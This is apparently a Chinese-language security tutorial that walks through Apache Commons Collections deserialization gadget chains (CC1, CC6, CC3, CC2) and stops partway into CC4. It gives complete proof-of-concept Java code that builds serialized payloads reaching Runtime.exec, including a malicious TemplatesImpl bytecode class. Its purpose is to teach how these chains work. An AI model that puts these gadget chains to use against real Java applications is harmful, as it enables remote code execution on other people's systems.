Commons Collections

前言

当初学Java反序列化最先遇到的,这也是绕不开的东西。虽然现在对于很多Java反序列化题已经不能直接套用CC链速通,但是很多缝合怪调试到最后一步还是采用的CC链部分,因为原生反序列化肯定是很好用的。

首先简单介绍一下几个关键词:

1
对于利用链上的类,都需要实现Serializable接口、或继承该接口的实现类
1
2
3
Source:入口类(重写readObject调用常见方法,参数类型宽泛,最好jdk自带)
Gadget Chain:调用链(相同方法名、相同参数类型、不同调用过程)
Sink:执行类(RCE、SSRF、写文件...)

常见方法:toStringhashCodeequals

在后面的CC链中经常看到HashMap作为入口类,它实现了Serializable接口且作为jdk自带的类,readObject中调用了常见方法hashCode,是不错的入口类。

严格来说应该从URLDNS开始写,但是原理也很简单很易懂,只涉及URL类里hashcode里的简单操作触发访问DNS(其实是我懒),就不写了。

话不多说,直接回到我们梦开始的地方-Commons Collections

CC1

TransformedMap

CC1其实用的不多,CC链里用得频繁的其实是CC3(恶意字节码)、CC6以及CC4,还有很少见的CC2,CC1其实就是起到一个引入学习的作用。

首先依赖就直接

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在这里我用的是Jdk8u401

这几个Map都尤为经典,需要深入学习。

Transformer

1
2
3
public interface Transformer {
public Object transform(Object input);
}

可以看到Transformer是一个接口,可以接受任意一个Object类型的参数传入。这个接口有几个重要的Map实现类,而且它们都实现了Serializable接口。

ConstantTransformer

1
2
3
4
5
6
7
8
9
10
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}

这里ConstantTransformer调用transform()方法返回构造时传入的对象

写一堆玩意其实就是传入传出一个对象,前后不变。

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class InvokerTransformer implements Transformer, Serializable {
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} // catch ....
}
}

这个就比较关键了,是反序列化利用的常客。因为它这里的invoke可以执行任意方法。

  • iMethodName 待执行的方法名
  • iParamTypes 待执行方法的参数列表的参数类型
  • iArgs 待执行方法的参数列表

调用transform的时候会执行input对象的iMethodName方法。

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

写一堆,其实就是把多个Transformer串成一条链子,前一个调用返回的结果作为后一个调用的参数。

TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
public class TransformedMap{
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}

TransformedMap用于对Java原生Map进行一些修饰,当Map调用setValue时,会触发checkSetValue,进而调用transform。其构造方法被protected修饰,因此我们利用它的静态public方法decorate

POC

首先我们想到的是使用Transformer的实现类和TransformedMap实现命令执行:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 114514);

但是这里有俩问题:

  • Runtime类没有实现Serializable接口,无法反序列化
  • 需要找到readObject中有类似Map.put(xxx,yyy)操作的类

对于问题一,Class类可以反序列化,那么我们可以用Runtime.class作为ChainedTransformer的入口参数,后面再通过反射来调用exec

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
evilMap.put("test", 114514);

对于问题二,这里有一个完美完成任务的类:AnnotationInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// sun.reflect.annotation.AnnotationInvocationHandler#readObject
private void readObject(java.io.ObjectInputStream s) {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

审一下就可以得到

1
2
3
memberValue.setValue =》
TransformedMap#checkSetValue =》
valueTransformer.transform()

checkSetValue会因为Map调用setValue方法而调用checkSetValue方法;

因此让memberValue为上面的evilMap即可。

但怎么触发到这个setValue呢?

判断条件在:

1
Class<?> memberType = memberTypes.get(name);

它需要满足memberType != null才能进入memberValue.setValue

继续跟进:

1
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); String name = memberValue.getKey();

再到annotationType:

1
annotationType = AnnotationType.getInstance(type);

构造函数:

1
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

type是构造对象时传进来的Annotation子类Class

name是传入Map(memberValues)的每个键名

memberType.get(name)要不为空 即要求AnnotationType要有名为name的成员

1
2
3
4
System.out.println(AnnotationType.getInstance(Target.class).memberTypes());
// {value=class [Ljava.lang.annotation.ElementType;}
System.out.println(AnnotationType.getInstance(Retention.class).memberTypes());
// {value=class java.lang.annotation.RetentionPolicy}

@Retention和@Target都有value这个成员

另外,AnnotationInvocationHandler的构造方法被default修饰,不能直接new,要利用反射来实例化该类。

那么我们就得到了CC1-TransformedMap-POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashedMap();
map.put("value", 114514);
Map<Object, Object> evilMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object aih = cons.newInstance(Target.class, evilMap);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(aih);
oos.close();

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
ois.close();

但这个CC1问题很多,首先是sun.reflect.annotation.AnnotationInvocationHandler作为CC1链的入口类, 在Jdk8u71之后被修改了,修改后的readObject方法中新建了一个LinkedHashMap对象,并将原来的键值添加进去。

所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行setValue或put操作,也就不会触发RCE了。

接下来就要引入CC1-LazyMap的方法,这也是ysoserial中的方法。

LazyMap

分析完上面的链子其实就很显然,CC链的关键在于transform()的触发,上面那条TransformedMap的触发在于“外援”AnnotationInvocationHandlerreadObject调用了setValue,进而触发TransformedMapcheckSetValue,进而触发transform()

LazyMap是另一个触发点备选,因为LazyMapget方法中会执行factory.transform(),也暗合“懒加载”的真谛。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class LazyMap implements Serializable {
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

LazyMap由get触发,对比一下可以发现:

  • LazyMap:get元素时触发
  • TransformedMap:set元素时触发

POC

先给出Gadget Chains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ObjectInputStream#readObject()
AnnotationInvocationHandler#readObject()
Map(Proxy)#entrySet()
AnnotationInvocationHandler#invoke()
LazyMap#get()
//恶意对象反射链部分
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke()
Class#getMethod()
InvokerTransformer#transform()
Method#invoke()
Runtime#getRuntime()
InvokerTransformer#transform()
Method#invoke()
Runtime#exec()

与前面分析的TransformedMap不同,在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到Map的get方法。

但是ysoserial找到了AnnotationInvocationHandler的invoke方法中调用了get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);
// ....
}

sun.reflect.annotation.AnnotationInvocationHandler实际是个代理类,它实现了InvocationHandler接口。

我们只需要完成:

  1. readObject中调用任意方法,调用者是AnnotationInvocationHandler代理对象
  2. AnnotationInvocationHandlerinvoke触发memberValues.get() ,因此代理对象的memberValues要设为LazyMap
  3. LazyMap#get触发factory.transform()

那么POC也就呼之欲出了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map argMap = new HashMap();
Map evilMap = LazyMap.decorate(argMap, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, evilMap);
// 代理对象proxyMap
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);


ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}

POC中触发invoke的是

1
AnnotationInvocationHandler#readObject => memberValues.entrySet()

因此Proxy.newProxyInstance传的是MapClassLoader和接口

但是,LazyMap的漏洞触发在get和invoke中 而TransformedMap的漏洞触发在setValue中

同样在 Jdk8u71之后,由于AnnotationInvocationHandler不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,后续对Map的操作都是基于这个新的LinkedHashMap对象。 因此CC1链只局限在Jdk8u71之前的版本。所以这里弹不出calc,但是原理是这么个原理。

CC6

为什么不按顺序来,确实因为CC2的特点跟前面CC1接不上,但是CC6可以顺延往下讲,上面说到Jdk8u71引入的LinkedHashMap让CC1失效,而CC6克服了这一点,脱胎于CC1,成为Java8系列常见的原生链。

CC6链子后半段还是使用CC1的LazyMap,由于AnnotationInvocationHandler因Java版本而利用受限,需要找寻其他可以调用LazyMap#get的地方。

这里又要引入一个完美解决这个问题的类了,接下来赶到战场的是:

1
org.apache.commons.collections.keyvalue.TiedMapEntry
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public Object getKey() {
return key;
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}

显而易见的是getValue部分调用了get方法,那么就有链子:

hashCode() => getValue() => map.get(key)

hashCode是在URLDNS中也用到的,作为一个访问DNS的触发器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// HashMap#readObject
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
// ====================================================================
// HashMap#hash
// 调用hash是为保证键的唯一性
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ====================================================================
// HashMap#put
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

这里可以得到一个链:

readObject() => hash(key) => key.hashCode()

所以我们就能得出,在这里让key == TiedMapEntry对象,就能完美连接起来前面的链子了。

POC

先给出Gadget Chains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ObjectInputStream#readObject()
HashSet#readObject()
HashMap#put()
HashMap#hash()
TiedMapEntry#hashCode()
TiedMapEntry#getValue()
LazyMap#get()
//恶意对象反射链部分
ChainedTransformer.transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Method#invoke()
Class#getMethod()
InvokerTransformer#transform()
Method#invoke()
Runtime#getRuntime()
InvokerTransformer#transform()
Method#invoke()
Runtime#exec()

初代目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};

// fake_payload
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
// put的时候也会执行hashCode,为了防止本地调试触发payload,这里放入fake_payload
expMap.put(tiedMapEntry, "xxx");

// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();

但是这个是没办法直接反序列化的。

当我们执行Map.put()的时候会触发hash(),进而牵动整条链。

再来看LazyMapget(),由于是懒加载因此得到当前map中没有key,才会满足那个if条件再调用到factory.transform(key)生成value,再map.put(key, value),这时候lazyMap中就有key了。(这里的key是new TiedMapEntry传入的key)

1
2
3
4
5
6
7
8
9
10
// LazyMap#get
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

解决方法也很简单,只需要想办法把这个键值对从LazyMap中移除就行,即lazyMap.remove("test");

Final CC6-POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer[] fakeTransformers = new Transformer[]{new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");

lazyMap.remove("test");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();

image-20240728211545706

划时代的意义。

CC3

CC4涉及到更新的Commons-Collections4,所以留到后面讲,而CC3同样具有划时代的意义,因为它的逻辑用到的是恶意字节码,这对于Java反序列化来说是个很常见的Attack方式。

首先需要介绍的是Java动态加载字节码的东西。

你可能会看到很多次 Gadgets.createTemplatesImpl(command) ,另外你也许曾在fastjson等漏洞的利用中看到过TemplatesImpl这个类,它究竟是什么,为何出镜率这么高呢?

字节码是什么就不做过多说明,这与Java作为静态语言而且能够“一次编译,到处运行”的宗旨有关。

加载字节码的方式也很多,这里先不介绍了,后面会单开一章来讲讲。

言归正传,CC3这里的背景是一个Question,CC1和CC6的sink都在InvokerTransformer上,若WAF直接禁用了该类,是否就拿它没法了?

当然不是。但这里就又要请出另一个解决这个问题的类:

1
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

“我打宿傩?真的假的?”

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

我们先分析一下这个TrAXFilter

该类构造方法中调用了(TransformerImpl) templates.newTransformer()

TransformerImpl在加载字节码的很多文章那里提过,newTransformer最后能调用到defineClass()加载恶意字节码。

但是目前看来如果没有InvokerTransfomerTrAXFilter的构造方法也无法调用

这里要用到新的Transformer实现类InstantiateTransformer,看看它的transform,它的作用就是调用构造函数,返回类实例:

1
2
3
4
5
6
public Object transform(Object input) {
//....
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
//....
}

POC

先给出Gadget Chains:

1
2
3
4
5
6
7
8
9
10
11
12
ObjectInputStream#readObject()
AnnotationInvocationHandler#readObject()
Map(Proxy)#entrySet()
AnnotationInvocationHandler#invoke()
LazyMap#get()
ChainedTransformer#transform()
InstantiateTransformer#transform()
TrAXFilter#TrAXFilter()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TemplatesImpl$TransletClassLoader#defineclass()

这里需要用到javassist来获取字节码:

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>

Evil.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}

public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "EddieMurphy");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map argMap = new HashMap();
Map evilMap = TransformedMap.decorate(argMap, null, chainedTransformer);
evilMap.put("xxx", "yyy");
}

把CC6改造一下,就得到了CC3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}

public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "EddieMurphy");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};

Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");

lazyMap.remove("test");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}

image-20240728215703672

CC2

前面就提到,Commons-Collection有俩官方的包:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

两者的命名空间不冲突,也就是可以共存在同⼀个项目中。

使用

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

之前我们研究的利用链CC1、CC6、CC3commons-collections4均能正常使用,不过方法名可能稍有变动,其实就是Lazymap处decorate没了:

原decorate:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazymap

4中的:

1
2
3
4
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final 
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}

我们将Gadget中出错的代码换⼀下名字:

1
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

然后弹calc是一样的。

由此可得,CC链实际上就是一条Serializable#readObject()Transformer#transform()的调用链。

要看CC2,那么这里就需要引入两个新类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class PriorityQueue<E> extends AbstractQueue<E>
implements java.io.Serializable {
private int size = 0;

private void readObject(java.io.ObjectInputStream s){
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
}
1
2
3
4
5
6
// TransformingComparator#compare
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

Gadget chains:

1
2
3
4
5
6
PriorityQueue#readObject() => 
heapify() =>
siftDown() =>
siftDownUsingComparator() =>
comparator.compare() =>
transformer.transform()
  • heapify int i = (size >>> 1) - 1需要非负
  • siftDownUsingComparator half = size >>> 1需要大于上面的i

而且PriorityQueue构造函数不会给size赋初值,需要用反射去赋值。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue pq = new PriorityQueue(comparator);
setFieldValue(pq, "size", 4);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(pq);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}

image-20240728222834295

Patch

org.apache.commons.collections4.comparators.TransformingComparatorcommons-collections4.0以前是版本没有实现Serializable接口

官方发布的新版本4.1和3.2.2用于修复CC链3.2.2中增加了⼀个方法:

1
FunctorUtils#checkUnsafeSerialization`

它用于检测反序列化是否安全,其会检查常⻅的危险Transformer类,当我们反序列化包含这些对象时就会抛出异常。 若开发者没有设置全局配置 org.apache.commons.collections.enableUnsafeSerialization=true 即默认情况下会抛出异常

4.1中这几个危险的Transformer类不再实现Serializable接口,直接不能序列化和反序列化。

因此CC2只能在commons-collections4.0上跑通。

CC4

CC4跟CC2很接近。都是在Commons-Collections4的基础上的CC链。

而本质其实CC4就是用InstantiateTransformer代替了CC2的InvokerTransformer,借用一下ysoserial的代码,其实就是CommonsCollections2TemplatesImpl变体,把CC2和CC3拼接一下,就得到了CC4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
